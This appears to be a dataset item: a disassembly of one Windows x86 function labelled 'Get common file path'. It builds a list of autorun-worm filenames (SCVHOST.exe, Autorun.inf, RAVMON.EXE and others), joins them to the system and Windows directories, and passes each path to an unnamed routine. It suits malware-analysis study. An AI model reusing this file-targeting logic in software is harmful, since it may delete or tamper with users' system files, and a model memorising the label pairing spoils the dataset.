Function at 0x4049e0
Capabilities:
Get common file path

Disassembly:
mov eax, 0x28dc
call fcn.0040cd60
mov eax, dword [str.killVBS.vbs]
mov ecx, dword [0x417498]
mov edx, dword [0x41749c]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x1100], eax
mov dword [esp + 0x1104], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x110c]
mov dword [esp + 0x1108], edx
mov dx, word [0x417230]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41722c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.temp1.exe]
mov dword [esp + 0x1203], ecx
mov dword [esp + 0x11ff], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1209]
mov word [esp + 0x1207], dx
mov dx, word [0x417224]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417220]
stosb byte es:[edi], al
mov eax, dword [str.temp2.exe]
mov dword [esp + 0x1302], ecx
mov dword [esp + 0x12fe], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1308]
mov word [esp + 0x1306], dx
mov dx, word [0x417490]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41748c]
stosb byte es:[edi], al
mov eax, dword [str.SocksA.exe]
mov dword [esp + 0x1401], ecx
mov dword [esp + 0x13fd], eax
mov al, byte [0x417492]
mov byte [esp + 0x1407], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1408]
mov word [esp + 0x1405], dx
mov edx, dword [0x417480]
rep stosd dword es:[edi], eax
mov ecx, dword [str.algsrv.exe]
mov ax, word [0x417484]
mov dword [esp + 0x14fc], ecx
mov cl, byte [0x417486]
mov word [esp + 0x1504], ax
mov byte [esp + 0x1506], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1507]
mov dword [esp + 0x1500], edx
mov edx, dword [str.FileKan.exe]
rep stosd dword es:[edi], eax
mov eax, dword [0x417474]
mov ecx, dword [0x417478]
mov dword [esp + 0x15ff], eax
mov dword [esp + 0x1603], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1607]
mov dword [esp + 0x15fb], edx
rep stosd dword es:[edi], eax
mov edx, dword [str.algsrvs.exe]
mov ecx, dword [0x41746c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417468]
mov dword [esp + 0x16fa], edx
mov dword [esp + 0x16fe], eax
mov dword [esp + 0x1702], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1706]
rep stosd dword es:[edi], eax
mov edx, dword [str.algssl.exe]
mov cx, word [0x417460]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41745c]
mov dword [esp + 0x17f9], edx
mov dl, byte [0x417462]
mov dword [esp + 0x17fd], eax
mov word [esp + 0x1801], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1804]
mov byte [esp + 0x1803], dl
mov edx, dword [0x417454]
rep stosd dword es:[edi], eax
mov eax, dword [str.msfir80.exe]
mov ecx, dword [0x417450]
mov dword [esp + 0x18f8], eax
mov dword [esp + 0x18fc], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1904]
mov dword [esp + 0x1900], edx
rep stosd dword es:[edi], eax
mov ecx, dword [0x417444]
mov edx, dword [0x417448]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msime80.exe]
mov dword [esp + 0x19fb], ecx
mov dword [esp + 0x19f7], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1a03]
mov dword [esp + 0x19ff], edx
mov edx, dword [0x41743c]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417438]
mov esi, dword [0x417428]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msnmsgr.exe]
mov dword [esp + 0x1afa], ecx
mov dword [esp + 0x1af6], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1b02]
mov dword [esp + 0x1afe], edx
mov dx, word [0x4171f4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x4171f0]
mov ebp, dword [0x41742c]
stosb byte es:[edi], al
mov eax, dword [str.system.exe]
mov bl, byte [0x417430]
mov dword [esp + 0x1bf5], eax
mov al, byte [0x4171f6]
mov dword [esp + 0x1bf9], ecx
mov byte [esp + 0x1bff], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1c00]
mov word [esp + 0x1bfd], dx
mov edx, dword [str.scvhosts.exe]
rep stosd dword es:[edi], eax
mov ecx, 0x3c
lea edi, [esp + 0x1d01]
mov dword [esp + 0x1cf4], edx
mov dword [esp + 0x1cf8], esi
mov dword [esp + 0x1cfc], ebp
mov byte [esp + 0x1d00], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov dword [esp + 0x1df3], ecx
mov eax, dword [0x417418]
mov ecx, dword [0x41741c]
mov dword [esp + 0x1df7], eax
mov ax, word [0x417420]
mov dword [esp + 0x1dfb], ecx
mov word [esp + 0x1dff], ax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1e01]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x41740c]
mov dword [esp + 0x1ef2], ecx
mov ecx, dword [0x417410]
mov dword [esp + 0x1ef6], eax
mov dword [esp + 0x1efa], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1efe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173fc]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.SCVVHSOT.exe]
mov dword [esp + 0x1ff5], ecx
mov cl, byte [0x417404]
mov dword [esp + 0x1ff1], eax
mov eax, dword [0x417400]
mov byte [esp + 0x1ffd], cl
mov dword [esp + 0x1ff9], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1ffe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173f0]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0x20f4], ecx
mov dword [esp + 0x20f0], eax
mov eax, dword [0x4173f4]
mov dword [esp + 0x20f8], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVVHOST.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4173e0]
mov dword [esp + 0x21ef], ecx
mov ecx, dword [0x4173e4]
mov dword [esp + 0x21f3], eax
mov al, byte [0x4173e8]
mov dword [esp + 0x21f7], ecx
mov byte [esp + 0x21fb], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x21fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad1.exe]
stosw word es:[edi], ax
mov eax, dword [0x4173d4]
mov dword [esp + 0x22ee], ecx
mov cl, byte [0x4173d8]
mov dword [esp + 0x22f2], eax
mov byte [esp + 0x22f6], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x22f7]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173c8]
stosw word es:[edi], ax
mov eax, dword [str.bad2.exe]
mov dword [esp + 0x23f1], ecx
mov dword [esp + 0x23ed], eax
mov al, byte [0x4173cc]
mov byte [esp + 0x23f5], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x23f6]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad3.exe]
stosw word es:[edi], ax
mov eax, dword [0x4173bc]
mov dword [esp + 0x24ec], ecx
mov cl, byte [0x4173c0]
mov dword [esp + 0x24f0], eax
mov byte [esp + 0x24f4], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x24f5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41724c]
stosw word es:[edi], ax
mov eax, dword [str.msmsgs.exe]
mov dword [esp + 0x25ef], ecx
mov cl, byte [0x417252]
mov dword [esp + 0x25eb], eax
mov ax, word [0x417250]
mov byte [esp + 0x25f5], cl
mov word [esp + 0x25f3], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x25f6]
rep stosd dword es:[edi], eax
mov eax, dword [str.RUNDLL64.dll.vbs]
mov ecx, dword [0x4173a8]
mov dword [esp + 0x110], eax
mov eax, dword [0x4173ac]
mov dword [esp + 0x114], ecx
mov ecx, dword [0x4173b0]
mov dword [esp + 0x118], eax
mov al, byte [0x4173b4]
mov dword [esp + 0x11c], ecx
mov byte [esp + 0x120], al
mov ecx, 0x3b
xor eax, eax
lea edi, [esp + 0x121]
rep stosd dword es:[edi], eax
mov ecx, dword [str.RAVMON.EXE]
stosw word es:[edi], ax
mov eax, dword [0x41739c]
mov dword [esp + 0x20f], ecx
mov cx, word [0x4173a0]
mov dword [esp + 0x213], eax
mov al, byte [0x4173a2]
mov word [esp + 0x217], cx
mov byte [esp + 0x219], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
mov ecx, dword [str.xcopy.exe]
mov eax, dword [0x417390]
mov dword [esp + 0x30e], ecx
mov cx, word [0x417394]
mov dword [esp + 0x312], eax
mov word [esp + 0x316], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x318]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417384]
stosb byte es:[edi], al
mov eax, dword [str.Svchost.exe]
mov dword [esp + 0x411], ecx
mov dword [esp + 0x40d], eax
mov eax, dword [0x417388]
mov dword [esp + 0x415], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x419]
rep stosd dword es:[edi], eax
mov ecx, dword [str.Autorun.inf]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417378]
mov dword [esp + 0x50c], ecx
mov ecx, dword [0x41737c]
mov dword [esp + 0x510], eax
mov dword [esp + 0x514], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x518]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x41736c]
stosb byte es:[edi], al
mov eax, dword [str.BACKINF.TAB]
mov dword [esp + 0x60f], ecx
mov dword [esp + 0x60b], eax
mov eax, dword [0x417370]
mov dword [esp + 0x613], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x617]
rep stosd dword es:[edi], eax
mov ecx, dword [str.session.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417360]
mov dword [esp + 0x70a], ecx
mov ecx, dword [0x417364]
mov dword [esp + 0x70e], eax
mov dword [esp + 0x712], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x716]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x417350]
stosb byte es:[edi], al
mov eax, dword [str.ufdata2000.log]
mov dword [esp + 0x80d], ecx
mov cx, word [0x417358]
mov dword [esp + 0x809], eax
mov eax, dword [0x417354]
mov word [esp + 0x815], cx
mov dword [esp + 0x811], eax
mov al, byte [0x41735a]
mov byte [esp + 0x817], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x818]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fuker.vbs]
mov eax, dword [0x417344]
mov dword [esp + 0x908], ecx
mov ecx, dword [0x417348]
mov dword [esp + 0x90c], eax
mov dword [esp + 0x910], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x914]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x417338]
stosb byte es:[edi], al
mov eax, dword [str.msdos.pif]
mov dword [esp + 0xa0b], ecx
mov dword [esp + 0xa07], eax
mov ax, word [0x41733c]
mov word [esp + 0xa0f], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0xa11]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xb13]
mov dword [esp + 0xb06], edx
mov edx, dword [0x417418]
mov dword [esp + 0xb0a], esi
mov dword [esp + 0xb0e], ebp
mov byte [esp + 0xb12], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov eax, dword [0x41741c]
mov dword [esp + 0xc05], ecx
mov dword [esp + 0xc09], edx
mov cx, word [0x417420]
mov dword [esp + 0xc0d], eax
mov word [esp + 0xc11], cx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xc13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417410]
mov edx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x41740c]
mov dword [esp + 0xd0c], ecx
mov dword [esp + 0xd08], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xd10]
mov dword [esp + 0xd04], edx
mov edx, dword [str.SCVVHSOT.exe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417400]
push 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4173fc]
mov dword [esp + 0xe07], edx
mov dl, byte [0x417404]
mov dword [esp + 0xe0b], eax
mov dword [esp + 0xe0f], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xe14]
mov byte [esp + 0xe13], dl
mov edx, dword [0x4173f4]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173f0]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0xf0a], ecx
mov dword [esp + 0xf06], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xf12]
mov dword [esp + 0xf0e], edx
mov edx, dword [0x4173e4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x4173e0]
stosb byte es:[edi], al
mov eax, dword [str.SCVVHOST.exe]
mov dword [esp + 0x1009], ecx
mov dword [esp + 0x1005], eax
mov al, byte [0x4173e8]
mov byte [esp + 0x1011], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1012]
mov dword [esp + 0x100d], edx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x27f0]
push ecx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x26ec]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ebx, [esp + 0x1100]
mov ebp, 0x16
mov edi, 0x41b85c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x27f0]
push ecx
push 0x41732c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.00402240
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x402eb6
lea ebx, [esp + 0x110]
mov ebp, 0x10
mov edi, 0x41b85c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x26f0]
push ecx
push 0x41732c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.00402240
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x402f1b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28dc
ret
mov dword [0x41d784], 1
call fcn.00401c90
call fcn.00401f70
mov eax, dword [esp + 4]
push eax
push 0x41d688
call fcn.00403a70
add esp, 8
jmp 0x402550